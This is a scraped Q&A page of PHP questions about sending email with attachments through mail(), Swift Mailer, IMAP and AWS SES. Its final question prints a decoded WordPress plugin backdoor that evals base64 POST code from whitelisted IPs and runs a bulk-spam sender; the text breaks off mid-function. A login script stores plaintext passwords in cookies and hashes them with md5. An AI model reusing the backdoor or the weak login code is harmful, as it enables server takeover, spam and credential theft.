i am using following code, to send a mail, with two attachments,
Problems i'm having is, it takes only one attachment, i want to send to attachment in mail, and i'm not getting autoresponse,
can any one help me please, here is my code
<?php session_start();
$redirect_url = '../thanks.html';
$your_email ='name#domain.com';// <<=== update to your email address
$attachment_enabled = 1;
$autoresponder_enabled = 1;
$name = $_POST['name'];
$visitor_email = $_POST['email'];
function get_form_data(){
global $REQUEST_METHOD;
global $_POST;
global $_GET;
$vars = ($REQUEST_METHOD == 'GET') ? $_GET : $_POST;
//strip spaces from all fields
foreach ($vars as $k=>$v) $vars[$k] = trim($v);
return $vars;
}
function _build_fields($vars){
$skip_fields = array(
'name',
'email',
'subject',
'submitbtn');
// order by numeric begin, if it exists
$is_ordered = 0;
foreach ($vars as $k=>$v)
if (in_array($k, $skip_fields)) unset($vars[$k]);
$new_vars = array();
foreach ($vars as $k=>$v){
// remove _num, _reqnum, _req from end of field names
$k = preg_replace('/_(req|num|reqnum)$/', '', $k);
// check if the fields is ordered
//if (preg_match('/^\d+[ \:_-]/', $k)) $is_ordered++;
//remove number from begin of fields
$k = preg_replace('/^\d+[ \:_-]/', '', $k);
$new_vars[$k] = $v;
}
$vars = $new_vars;
$max_length = 10; // max length of key field
foreach ($vars as $k=>$v) {
$klen = strlen($k);
if (($klen > $max_length) && ($klen < 40))
$max_length = $klen;
}
if ($is_ordered)
ksort($vars);
// make output text
$out = "";
foreach ($vars as $k=>$v){
$k = str_replace('_', ' ', $k);
$k = ucfirst($k);
$len_diff = $max_length - strlen($k);
if ($len_diff > 0)
$fill = str_repeat('.', $len_diff);
else
$fill = '';
$out .= $k."$fill...: $v\n\n";
}
return $out;
}
$vars=get_form_data();
$out=_build_fields($vars);
$body = "A user $name submitted the form:\n\n".$out;
//Auto Responser Function To Send Auto Respond
$autoresponder_from = $your_email;
$subject = "Page Edit Request";
$autoresponder_subject = "%subject% (autoresponse)";
$autoresponder_message = <<<MSG
Hi %name%,
Thank you for submitting the form.
--
MSG;
function auto_respond($vars){
global $autoresponder_from, $autoresponder_message, $autoresponder_subject;
/// replace all vars in message
$msg = $autoresponder_message;
preg_match_all('/%(.+?)%/', $msg, $out);
$s_vars = $out[1]; //field list to substitute
foreach ($s_vars as $k)
$msg = str_replace("%$k%", $vars[$k], $msg);
/// replace all vars in subject
$subj = $autoresponder_subject;
preg_match_all('/%(.+?)%/', $subj, $out);
$s_vars = $out[1]; //field list to substitute
foreach ($s_vars as $k)
$subj = str_replace("%$k%", $vars[$k], $subj);
//
$_send_to = "$vars[name] <".$vars[email_from].">";
$_send_from = $autoresponder_from;
mail($_send_to, $subj, $msg, "From: $_send_from");
}
if(empty($errors))
{
//send the email
$to = $your_email;
$subject="Page Edit Request";
$from = $visitor_email;
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
//Attach File if Attachment is done
$files = array(); //files (field names) to attach in mail
if (count($_FILES) && $attachment_enabled)
{
$files = array_keys($_FILES);
}
/*print_r($files);
exit;*/
if (count($files)){
foreach ($files as $file){
echo "hello";
$file_name = $_FILES[$file]['name'];
$file_type = $_FILES[$file]['type'];
$file_tmp_name = $_FILES[$file]['tmp_name'];
$file_cnt = "";
if($file_name!='')
{
$f=#fopen($file_tmp_name, "rb");
if (!$f)
continue;
while($f && !feof($f))
$file_cnt .= fread($f, 4096);
fclose($f);
if (!strlen($file_type)) $file_type="applicaton/octet-stream";
if ($file_type == 'application/x-msdownload')
$file_type = "applicaton/octet-stream";
$date_time = date('Y-m-d H:i:s');
$mime_delimiter = md5(time());
$mail = <<<EOF
This is a MIME-encapsulated message
--$mime_delimiter
$body
--------------------
REMOTE IP : $REMOTE_ADDR
DATE/TIME : $date_time
EOF;
$data= chunk_split(base64_encode($file_cnt));
$mail .= "\n--$mime_delimiter\n";
$mail.="Content-Type: {\"application/octet-stream\"};\n" . " name=\"$file_name\"\n"."Content-Disposition: attachment;\n" . " filename=\"$file_name\"\n"."Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
// $mail .= "Content-type: $file_type\n";
// $mail .= "Content-Disposition: attachment; filename=\"$file_name\"\n";
// $mail .= "Content-Transfer-Encoding: base64\n\n";
// $mail .= chunk_split(base64_encode($file_cnt));
}
else
{
$mail=$body;
}
}
$mail .= "\n--$mime_delimiter--";
}
else
{
$mail=$body;
}
$headers = "Mime-Version: 1.0\r\nFrom: $from \r\nContent-Type: multipart/mixed;\n boundary=\"$mime_delimiter\"\r\nContent-Disposition: inline";
$headers .= "Reply-To: $visitor_email \r\n";
mail($to,'Page Edit Request', $mail,$headers);
if ($autoresponder_enabled)
auto_respond($vars);
header("Location: $redirect_url");
}
// Function to validate against any email injection attempts
function IsInjected($str)
{
$injections = array('(\n+)',
'(\r+)',
'(\t+)',
'(%0A+)',
'(%0D+)',
'(%08+)',
'(%09+)'
);
$inject = join('|', $injections);
$inject = "/$inject/i";
if(preg_match($inject,$str))
{
return true;
}
else
{
return false;
}
}
?>
Your mail composition is both extremely ugly and extremely wrong. The best suggestion I can give you is to stop reinventing the wheel and just use Swift mailer: http://swiftmailer.org/
I've used their tool a few times and it just works!
Edit not sure why this was downvoted, but fwiw this is the code for Swift:
$message = Swift_Message::newInstance()
->setSubject('Page Edit Request')
->setFrom(array($visitor_email))
->setTo(array($your_email))
->setBody($body);
if ($_FILES) {
foreach (array_keys($_FILES) as $file) {
if (UPLOAD_ERR_OK != $_FILES[$file]['error'] || !is_readable($_FILES[$file]['tmp_name'])) {
continue;
}
$message->attach(Swift_Attachment::fromPath($_FILES[$file]['tmp_name']));
}
}
$transport = Swift_MailTransport::newInstance();
$mailer = Swift_Mailer::newInstance($transport);
$numSent = $mailer->send($message);
Related
I'm trying to compose an email with body and multiple attachment but can't get it done. Composing an email with imap_mail_compose and using imap_append to add email to drafts. While creating an email user can upload multiple images thats why i need these imgaes to move in drafts. Thanks for the help
$conn = imap_open($rootMailBox, Auth::user()->email_smtp, Auth::user()->pass_smtp);
$envelope["date"] = date('r');
$envelope["from"] = $data['from'];
$envelope["to"] = $data['to'];
$envelope["subject"] = $data['subject'];
if (array_key_exists('cc', $data)) {
$envelope["cc"] = $data['cc'];
}
if (array_key_exists('bcc', $data)) {
$envelope["bcc"] = $data['bcc'];
}
if (array_key_exists('attachs', $data)) {
$multipart["type"] = "MULTIPART";
$multipart["subtype"] = "mixed";
$body[] = $multipart;
}
if (array_key_exists('attachs', $data)) {
foreach ($data['attachs'] as $attach) {
$part = array();
$filename = $attach;
if (filesize($filename) > 0) {
$fp = fopen($filename, "rb");
$file_size = filesize($attach);
$part["type"] = 'APPLICATION';
$part["encoding"] = ENCBASE64;
$part["subtype"] = "octet-stream";
$part["description"] = basename($filename);
$part['disposition.type'] = 'attachment';
$part['disposition'] = array('filename' => basename($filename));
$part['type.parameters'] = array('name' => basename($filename));
$part["description"] = '';
$part["contents.data"] = base64_encode(fread($fp, $file_size));
$body[] = $part;
fclose($fp);
}
}
}
if ($data['message']) {
$part = array();
$part["type"] = "TEXT";
$part["subtype"] = "html";
$part["description"] = '';
$part["contents.data"] = $data['message'];
$body[] = $part;
}
$msg = imap_mail_compose($envelope, $body);
if (imap_append($conn, $draftsMailBox, $msg) === false) {
//die("could not append message: " . imap_last_error());
return FALSE;
} else {
return TRUE;
}
Corrected Code ---
I have to put "alternative" subtype for attachments. It worked for both html body and attachments.
if (array_key_exists('attachs', $data)) {
$multipart["type"] = TYPEMULTIPART;
$multipart["subtype"] = "alternative";
$body[$i++] = $multipart;
}
if (array_key_exists('attachs', $data)) {
foreach ($data['attachs'] as $attach) {
$part = array();
$filename = $attach;
if (filesize($filename) > 0) {
$fp = fopen($filename, "rb");
$file_size = filesize($attach);
$part["type"] = 'APPLICATION';
$part["encoding"] = ENCBASE64;
$part["subtype"] = "octet-stream";
$part["description"] = basename($filename);
$part['disposition.type'] = 'attachment';
$part['disposition'] = array('filename' => basename($filename));
$part['type.parameters'] = array('name' => basename($filename));
$part["description"] = '';
$part["contents.data"] = base64_encode(fread($fp, $file_size));
$body[$i++] = $part;
fclose($fp);
}
}
}
if ($data['message']) {
$part = array();
$part["type"] = "TEXT";
$part["subtype"] = "html";
$part["description"] = '';
$part["contents.data"] = $data['message'];
$body[$i++] = $part;
}
$msg = imap_mail_compose($envelope, $body);
if (imap_append($conn, $draftsMailBox, $msg) === false) {
//die("could not append message: " . imap_last_error());
return FALSE;
} else {
return TRUE;
}
I have to send mail using Amazon AWS with PHP, I am able to send simple mail but got following Error, I used many codes get from Google but still I got the same error every time.
Fatal error: Cannot redeclare Aws\constantly() (previously declared
in /path/vendor/aws/aws-sdk-php/src/functions.php:20) in
phar:///opt/lampp/htdocs/path/amazon/aws.phar/Aws/functions.php on
line 22
Code I used:-
require_once '/mypath/vendor/autoload.php';
include_once("SESUtils.php");
$subject_str = "Some Subject";
$body_str = "<strong>Some email body</strong>";
$attachment_str = file_get_contents("mypdf_file.pdf");
//send the email
$params =
array("to" => "to#xyz.com",
"subject" => "Some subject",
"message" => "<strong>Some email body</strong>",
"from" => "from#xyz.com",
"replyTo" => "reply_to#gmail.com",
"files" =>
array(
"1" => array(
"name" => "filename1",
"filepath" => "/path/to/mypdf_file.pdf",
"mime" => "application/pdf"
),
)
);
$res = SESUtils::sendMail($params);
aws version:- 3.21.6
AND SESUtils.php
require_once('aws.phar');
use Aws\Ses\SesClient;
class SESUtils {
const version = "1.0";
const AWS_KEY = "AWS_KEY";
const AWS_SEC = "AWS_SEC";
const AWS_REGION = "us-east-1";
const MAX_ATTACHMENT_NAME_LEN = 60;
public static function sendMail($params) {
$to = self::getParam($params, 'to', true);
$subject = self::getParam($params, 'subject', true);
$body = self::getParam($params, 'message', true);
$from = self::getParam($params, 'from', true);
$replyTo = self::getParam($params, 'replyTo');
$files = self::getParam($params, 'files');
$res = new ResultHelper();
// get the client ready
$client = SesClient::factory(array(
'key' => self::AWS_KEY,
'secret' => self::AWS_SEC,
'region' => self::AWS_REGION
));
// build the message
if (is_array($to)) {
$to_str = rtrim(implode(',', $to), ',');
} else {
$to_str = $to;
}
$msg = "To: $to_str\n";
$msg .= "From: $from\n";
if ($replyTo) {
$msg .= "Reply-To: $replyTo\n";
}
// in case you have funny characters in the subject
$subject = mb_encode_mimeheader($subject, 'UTF-8');
$msg .= "Subject: $subject\n";
$msg .= "MIME-Version: 1.0\n";
$msg .= "Content-Type: multipart/mixed;\n";
$boundary = uniqid("_Part_".time(), true); //random unique string
$boundary2 = uniqid("_Part2_".time(), true); //random unique string
$msg .= " boundary=\"$boundary\"\n";
$msg .= "\n";
$msg .= "--$boundary\n";
$msg .= "Content-Type: multipart/alternative;\n";
$msg .= " boundary=\"$boundary2\"\n";
$msg .= "\n";
$msg .= "--$boundary2\n";
$msg .= "Content-Type: text/plain; charset=utf-8\n";
$msg .= "Content-Transfer-Encoding: 7bit\n";
$msg .= "\n";
$msg .= strip_tags($body); //remove any HTML tags
$msg .= "\n";
// now, the html text
$msg .= "--$boundary2\n";
$msg .= "Content-Type: text/html; charset=utf-8\n";
$msg .= "Content-Transfer-Encoding: 7bit\n";
$msg .= "\n";
$msg .= $body;
$msg .= "\n";
$msg .= "--$boundary2--\n";
// add attachments
if (is_array($files)) {
$count = count($files);
foreach ($files as $file) {
$msg .= "\n";
$msg .= "--$boundary\n";
$msg .= "Content-Transfer-Encoding: base64\n";
$clean_filename = self::clean_filename($file["name"], self::MAX_ATTACHMENT_NAME_LEN);
$msg .= "Content-Type: {$file['mime']}; name=$clean_filename;\n";
$msg .= "Content-Disposition: attachment; filename=$clean_filename;\n";
$msg .= "\n";
$msg .= base64_encode(file_get_contents($file['filepath']));
$msg .= "\n--$boundary";
}
// close email
$msg .= "--\n";
}
// now send the email out
try {
$ses_result = $client->sendRawEmail(
array(
'RawMessage' => array(
'Data' => base64_encode($msg)
)
), array(
'Source' => $from,
'Destinations' => $to_str
)
);
if ($ses_result) {
$res->message_id = $ses_result->get('MessageId');
} else {
$res->success = false;
$res->result_text = "Amazon SES did not return a MessageId";
}
} catch (Exception $e) {
$res->success = false;
$res->result_text = $e->getMessage().
" - To: $to_str, Sender: $from, Subject: $subject";
}
return $res;
}
private static function getParam($params, $param, $required = false) {
$value = isset($params[$param]) ? $params[$param] : null;
if ($required && empty($value)) {
throw new Exception('"'.$param.'" parameter is required.');
} else {
return $value;
}
}
/** Clean filename function - to be mail friendly **/
public static function clean_filename($str, $limit = 0, $replace=array(), $delimiter='-') {
if( !empty($replace) ) {
$str = str_replace((array)$replace, ' ', $str);
}
$clean = iconv('UTF-8', 'ASCII//TRANSLIT', $str);
$clean = preg_replace("/[^a-zA-Z0-9\.\/_| -]/", '', $clean);
$clean = preg_replace("/[\/| -]+/", '-', $clean);
if ($limit > 0) {
//don't truncate file extension
$arr = explode(".", $clean);
$size = count($arr);
$base = "";
$ext = "";
if ($size > 0) {
for ($i = 0; $i < $size; $i++) {
if ($i < $size - 1) { //if it's not the last item, add to $bn
$base .= $arr[$i];
//if next one isn't last, add a dot
if ($i < $size - 2)
$base .= ".";
} else {
if ($i > 0)
$ext = ".";
$ext .= $arr[$i];
}
}
}
$bn_size = mb_strlen($base);
$ex_size = mb_strlen($ext);
$bn_new = mb_substr($base, 0, $limit - $ex_size);
// doing again in case extension is long
$clean = mb_substr($bn_new.$ext, 0, $limit);
}
return $clean;
}
}
class ResultHelper {
public $success = true;
public $result_text = "";
public $message_id = "";
}
I had this error about redeclaring constantly() and the problem was resolved in our code by simply changing:
include('/PATH/TO/aws-sdk-3/aws-autoloader.php');
to
include_once('/PATH/TO/aws-sdk-3/aws-autoloader.php');
Maybe that will help you or the next person to Google this error message!
This is just namespacing. Look at the examples for reference - you need to either use the namespaced class or reference it absolutely, for example:
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
//Load composer's autoloader
require 'vendor/autoload.php';
I am using some new software that includes a login php setup. Works fine until I decided to open the login page in a lightbox. Now I can't break out of the light box to a normal view browser page for my success destination page. The php code is as follows;
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['form_name']) && $_POST['form_name'] == 'loginform')
{
$success_page = './club_registered_breeders_only.php';
$error_page = './Error_form_failure.html';
$database = './usersdb.php';
$crypt_pass = md5($_POST['password']);
$found = false;
$fullname = '';
$session_timeout = 600;
if(filesize($database) > 0)
{
$items = file($database, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach($items as $line)
{
list($username, $password, $email, $name, $active) = explode('|', trim($line));
if ($username == $_POST['username'] && $active != "0" && $password == $crypt_pass)
{
$found = true;
$fullname = $name;
}
}
}
if($found == false)
{
header('Location: '.$error_page);
exit;
}
else
{
if (session_id() == "")
{
session_start();
}
$_SESSION['username'] = $_POST['username'];
$_SESSION['fullname'] = $fullname;
$_SESSION['expires_by'] = time() + $session_timeout;
$_SESSION['expires_timeout'] = $session_timeout;
$rememberme = isset($_POST['rememberme']) ? true : false;
if ($rememberme)
{
setcookie('username', $_POST['username'], time() + 3600*24*30);
setcookie('password', $_POST['password'], time() + 3600*24*30);
}
header('Location: '.$success_page);
exit;
}
}
$username = isset($_COOKIE['username']) ? $_COOKIE['username'] : '';
$password = isset($_COOKIE['password']) ? $_COOKIE['password'] : '';
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['form_name']) && $_POST['form_name'] == 'forgotpasswordform')
{
$email = isset($_POST['email']) ? addslashes($_POST['email']) : '';
$found = false;
$items = array();
$success_page = '';
$error_page = './Error_form_failure.html';
$database = './usersdb.php';
if (filesize($database) == 0 || empty($email))
{
header('Location: '.$error_page);
exit;
}
else
{
$items = file($database, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach($items as $line)
{
list($username, $password, $emailaddress, $fullname, $active) = explode('|', trim($line));
if ($email == $emailaddress && $active != "0")
{
$found = true;
}
}
}
if ($found == true)
{
$alphanum = array('a','b','c','d','e','f','g','h','i','j','k','m','n','o','p','q','r','s','t','u','v','x','y','z','A','B','C','D','E','F','G','H','I','J','K','M','N','P','Q','R','S','T','U','V','W','X','Y','Z','2','3','4','5','6','7','8','9');
$chars = sizeof($alphanum);
$a = time();
mt_srand($a);
for ($i=0; $i < 6; $i++)
{
$randnum = intval(mt_rand(0,55));
$newpassword .= $alphanum[$randnum];
}
$crypt_pass = md5($newpassword);
$file = fopen($database, 'w');
foreach($items as $line)
{
$values = explode('|', trim($line));
if ($email == $values[2])
{
$values[1] = $crypt_pass;
$line = '';
for ($i=0; $i < count($values); $i++)
{
if ($i != 0)
$line .= '|';
$line .= $values[$i];
}
}
fwrite($file, $line);
fwrite($file, "\r\n");
}
fclose($file);
$mailto = $_POST['email'];
$subject = 'New password';
$message = 'Your new password for Club Login is:';
$message .= $newpassword;
$header = "From: webmaster#whiteshepherdsnz.com"."\r\n";
$header .= "Reply-To: webmaster#whiteshepherdsnz.com"."\r\n";
$header .= "MIME-Version: 1.0"."\r\n";
$header .= "Content-Type: text/plain; charset=utf-8"."\r\n";
$header .= "Content-Transfer-Encoding: 8bit"."\r\n";
$header .= "X-Mailer: PHP v".phpversion();
mail($mailto, $subject, $message, $header);
header('Location: '.$success_page);
}
else
{
header('Location: '.$error_page);
}
exit;
}
?>
Somehow I need to set target="-top" so the success page opens in the same window with normal browser view. Can someone show me how to achieve this please. I have no skills in this stuff just what I pick up from reading these sites and applying to my problem
Thanks
Roger
To keep it short and clear, you will need the # in your url.
header("Location: index.php#top");
That will redirect you to index.php and set the target to #top
Note: Remember that header('Location: ...') should redirect to an url like you would use in your browser. Not the internal server path.
Try with Window-target
header('Window-target: _top');
header('Location: index.php');
Unfortunately WYSIWYG Web Builder only allows the selection of an internal page address and will not allow edit so unable to try that out. However another solution was found using Java script in the head of the destination page:
<script>
this.top.location !== this.location && (this.top.location = this.location);
</script>
this worked perfectly. I will pass your comments on to the WYSIWYG Web Builder Forum.
Thanks
If Your Doing a form way
you can put a target in the form like this.
<form action="" method="" target="_top">
<input type="" name="">
</form>
This question already has answers here:
Error with PHP mail(): Multiple or malformed newlines found in additional_header
(10 answers)
Closed 4 years ago.
I have below code for mail attachment, but it is not working, dont know why it is happening..
function mail_attachment($filename, $path, $mailto, $from_mail, $subject, $message){
$uid = md5(uniqid(time()));
$mime_boundary = "==Multipart_Boundary_x{$uid}x";
$header = "From: <".$from_mail.">\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"".$mime_boundary."\"\r\n\r\n";
$header .= "This is a multi-part message in MIME format.\r\n";
$header .= "--".$mime_boundary."\r\n";
$header .= "Content-type:text/html; charset=iso-8859-1\r\n";
$header .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$header .= nl2br($message)."\r\n\r\n";
$header .= "--".$mime_boundary."\r\n";
foreach($filename as $k=>$v){
$file = $path.$v;
$file_size = filesize($file);
$handle = fopen($file, "r");
$content = fread($handle, $file_size);
fclose($handle);
$content = chunk_split(base64_encode($content));
$header .= "Content-Type: application/octet-stream; name=\"".$v."\"\r\n"; // use different content types here
$header .= "Content-Transfer-Encoding: base64\r\n";
$header .= "Content-Disposition: attachment; filename=\"".$v."\"\r\n\r\n";
$header .= $content."\r\n\r\n";
$header .= "--".$mime_boundary."--"."\r\n";
}
if (mail($mailto, $subject, "", $header)) {
//echo "mail send ... OK"; // or use booleans here
return true;
} else {
//echo "mail send ... ERROR!";
return false;
}
}
$path='upload/';
$send_email = mail_attachment($files, $path, $to, "roxmorphy26#gmail", $subject, $message);
//mail($to,$subject,$message,$headers);
if($send_email){ echo 'done';} else {echo 'not';}
but it gives error like -- Warning: mail(): Multiple or malformed newlines found in additional_header
please help.
<?php
define("LIBR", "\n"); // use a "\r\n" if you have problems
define("PRIORITY", 3); // 3 = normal, 2 = high, 4 = low
define("TRANS_ENC", "7bit");
define("ENCODING", "iso-8859-1");
class attach_mailer {
var $from_name;
var $from_mail;
var $mail_to;
var $mail_cc;
var $mail_bcc;
var $webmaster_email = "webmaster#yourdomain.com";
var $mail_headers;
var $mail_subject;
var $text_body = "";
var $html_body = "";
var $valid_mail_adresses; // boolean is true if all mail(to) adresses are valid
var $uid; // the unique value for the mail boundry
var $alternative_uid; // the unique value for the mail boundry
var $related_uid; // the unique value for the mail boundry
var $html_images = array();
var $att_files = array();
var $msg = array();
// functions inside this constructor
// - validation of e-mail adresses
// - setting mail variables
// - setting boolean $valid_mail_adresses
function attach_mailer($name = "", $from, $to, $cc = "", $bcc = "", $subject = "") {
$this->valid_mail_adresses = true;
if (!$this->check_mail_address($to)) {
$this->msg[] = "Error, the \"mailto\" address is empty or not valid.";
$this->valid_mail_adresses = false;
}
if (!$this->check_mail_address($from)) {
$this->msg[] = "Error, the \"from\" address is empty or not valid.";
$this->valid_mail_adresses = false;
}
if ($cc != "") {
if (!$this->check_mail_address($cc)) {
$this->msg[] = "Error, the \"Cc\" address is not valid.";
$this->valid_mail_adresses = false;
}
}
if ($bcc != "") {
if (!$this->check_mail_address($bcc)) {
$this->msg[] = "Error, the \"Bcc\" address is not valid.";
$this->valid_mail_adresses = false;
}
}
if ($this->valid_mail_adresses) {
$this->from_name = $this->strip_line_breaks($name);
$this->from_mail = $this->strip_line_breaks($from);
$this->mail_to = $this->strip_line_breaks($to);
$this->mail_cc = $this->strip_line_breaks($cc);
$this->mail_bcc = $this->strip_line_breaks($bcc);
$this->mail_subject = $this->strip_line_breaks($subject);
} else {
return;
}
}
function get_msg_str() {
$messages = "";
foreach($this->msg as $val) {
$messages .= $val."<br />\n";
}
return $messages;
}
// use this to prent formmail spamming
function strip_line_breaks($val) {
$val = preg_replace("/([\r\n])/", "", $val);
return $val;
}
function check_mail_address($mail_address) {
$pattern = "/^[\w-]+(\.[\w-]+)*#([0-9a-z][0-9a-z-]*[0-9a-z]\.)+([a-z]{2,4})$/i";
if (preg_match($pattern, $mail_address)) {
if (function_exists("checkdnsrr")) {
$parts = explode("#", $mail_address);
if (checkdnsrr($parts[1], "MX")){
return true;
} else {
return false;
}
} else {
// on windows hosts is only a limited e-mail address validation possible
return true;
}
} else {
return false;
}
}
function get_file_data($filepath) {
if (file_exists($filepath)) {
if (!$str = file_get_contents($filepath)) {
$this->msg[] = "Error while opening attachment \"".basename($filepath)."\"";
} else {
return $str;
}
} else {
$this->msg[] = "Error, the file \"".basename($filepath)."\" does not exist.";
return;
}
}
// use for $dispo "attachment" or "inline" (f.e. example images inside a html mail
function add_attach_file($file, $encoding = "base64", $dispo = "attachment", $type = "application/octet-stream") {
$file_str = $this->get_file_data($file);
if ($file_str == "") {
return;
} else {
if ($encoding == "base64") $file_str = base64_encode($file_str);
$this->att_files[] = array(
"data"=>chunk_split($file_str),
"name"=>basename($file),
"cont_type"=>$type,
"trans_enc"=>$encoding,
"disposition"=>$dispo);
}
}
function add_html_image($img_name) {
$file_str = $this->get_file_data($img_name);
$img_dim = getimagesize($img_name);
if ($file_str == "") {
return;
} else {
$this->html_images[] = array(
"data"=>chunk_split(base64_encode($file_str)),
"name"=>basename($img_name),
"cont_type"=>$img_dim['mime'],
"cid"=>md5(uniqid(time()))."#".$_SERVER['SERVER_NAME']);
}
}
function create_stand_headers() {
if ($this->from_name != "") {
$headers = "From: ".$this->from_name." <".$this->from_mail.">".LIBR;
$headers .= "Reply-To: ".$this->from_name." <".$this->from_mail.">".LIBR;
} else {
$headers = "From: ".$this->from_mail.LIBR;
$headers .= "Reply-To: ".$this->from_mail.LIBR;
}
if ($this->mail_cc != "") $headers .= "Cc: ".$this->mail_cc.LIBR;
if ($this->mail_bcc != "") $headers .= "Bcc: ".$this->mail_bcc.LIBR;
$headers .= sprintf("Message-ID: <%s#%s>%s", md5(uniqid(time())), $_SERVER['SERVER_NAME'], LIBR);
$headers .= "X-Priority: ".PRIORITY.LIBR;
$headers .= "X-Mailer: Attachment Mailer [version 1.2]".LIBR;
$headers .= "MIME-Version: 1.0".LIBR;
return $headers;
}
function create_html_image($img_array) {
$img = "Content-Type: ".$img_array['cont_type'].";".LIBR.chr(9)." name=\"".$img_array['name']."\"".LIBR;
$img .= "Content-Transfer-Encoding: base64".LIBR;
$img .= "Content-ID: <image".$img_array['cid'].">".LIBR;
$img .= "Content-Disposition: inline;".LIBR.chr(9)." filename=\"".$img_array['name']."\"".LIBR.LIBR;
$img .= $img_array['data'];
return $img;
}
function create_attachment($data_array) {
$att = "Content-Type: ".$data_array['cont_type'].";".LIBR.chr(9)." name=\"".$data_array['name']."\"".LIBR;
$att .= "Content-Transfer-Encoding: ".$data_array['trans_enc'].LIBR;
$att .= "Content-Disposition: ".$data_array['disposition'].";".LIBR.chr(9)." filename=\"".$data_array['name']."\"".LIBR.LIBR;
$att .= $data_array['data'];
return $att;
}
function create_html_body() {
$html = "Content-Type: text/html; charset=".ENCODING.LIBR;
$html .= "Content-Transfer-Encoding: ".TRANS_ENC.LIBR.LIBR;
foreach ($this->html_images as $img) {
$this->html_body = str_replace($img['name'], "cid:image".$img['cid'], $this->html_body);
}
$html .= $this->html_body;
return $html.LIBR.LIBR;
}
function build_message() {
$this->headers = $this->create_stand_headers();
$msg = "";
$is_html = ($this->html_body != "") ? true : false;
$is_attachment = (count($this->att_files) > 0) ? true : false;
$is_images = (count($this->html_images) > 0) ? true : false;
if ($is_attachment) {
$this->uid = md5(uniqid(time()));
$this->headers .= "Content-Type: multipart/mixed;".LIBR.chr(9)." boundary=\"".$this->uid."\"".LIBR.LIBR;
$this->headers .= "This is a multi-part message in MIME format.".LIBR;
if (!$is_html) {
$msg .= "--".$this->uid.LIBR;
} else {
$this->headers .= "--".$this->uid.LIBR;
}
}
if ($is_html) {
$this->alternative_uid = md5(uniqid(time()));
$this->headers .= "Content-Type: multipart/alternative;".LIBR.chr(9)." boundary=\"".$this->alternative_uid."\"".LIBR.LIBR;
if (!$is_attachment) {
$this->headers .= "This is a multi-part message in MIME format.".LIBR;
}
$msg .= LIBR."--".$this->alternative_uid.LIBR;
}
$body_head = "Content-Type: text/plain; charset=".ENCODING."; format=flowed".LIBR;
$body_head .= "Content-Transfer-Encoding: ".TRANS_ENC.LIBR.LIBR;
if (!$is_attachment && !$is_html) {
$this->headers .= $body_head;
} else {
$msg .= $body_head;
}
$msg .= trim($this->text_body).LIBR.LIBR;
if ($is_html) {
$msg .= "--".$this->alternative_uid.LIBR;
if ($is_images) {
$this->related_uid = md5(uniqid(time()));
$msg .= "Content-Type: multipart/related;".LIBR.chr(9)." boundary=\"".$this->related_uid."\"".LIBR.LIBR.LIBR;
$msg .= "--".$this->related_uid.LIBR;
$msg .= $this->create_html_body();
foreach ($this->html_images as $img) {
$msg .= "--".$this->related_uid.LIBR;
$msg .= $this->create_html_image($img);
}
$msg .= LIBR."--".$this->related_uid."--";
} else {
$msg .= $this->create_html_body();
}
$msg .= LIBR.LIBR."--".$this->alternative_uid."--".LIBR.LIBR;
}
if ($is_attachment) {
foreach ($this->att_files as $att) {
$msg .= "--".$this->uid.LIBR;
$msg .= $this->create_attachment($att);
}
$msg .= "--".$this->uid."--";
}
return $msg;
}
function process_mail() {
if (!$this->valid_mail_adresses) return;
if (mail($this->mail_to, $this->mail_subject, $this->build_message(), $this->headers, "-f".$this->webmaster_email)) {
$this->msg[] = "Your mail is succesfully submitted.";
return true;
} else {
$this->msg[] = "Error while sending you mail.";
return false;
}
}
}
$test = new attach_mailer($name = "Olaf", $from = "youremail#gmail.com", $to = "toemail#gmail.com", $cc = "", $bcc = "", $subject = "Test text email with attachments");
$test->text_body = "...Some body text\n\n the admin";
$test->add_attach_file("uploads/admin_doc.docx");
//$test->add_attach_file("ip2nation.zip");
$test->process_mail();
echo $test->get_msg_str();
I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the decoded string. This is the code the decoder outputs, any help in understanding what it does would be great!
<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{
}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}
error_404();
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}
if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}
$emails = #unserialize(base64_decode($_POST["emails"]));
$themes = #unserialize(base64_decode($_POST["themes"]));
$messages = #unserialize(base64_decode($_POST["messages"]));
$froms = #unserialize(base64_decode($_POST["froms"]));
$mailers = #unserialize(base64_decode($_POST["mailers"]));
$aliases = #unserialize(base64_decode($_POST["aliases"]));
$passes = #unserialize(base64_decode($_POST["passes"]));
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}
if(empty($emails))
{
exit();
}
foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
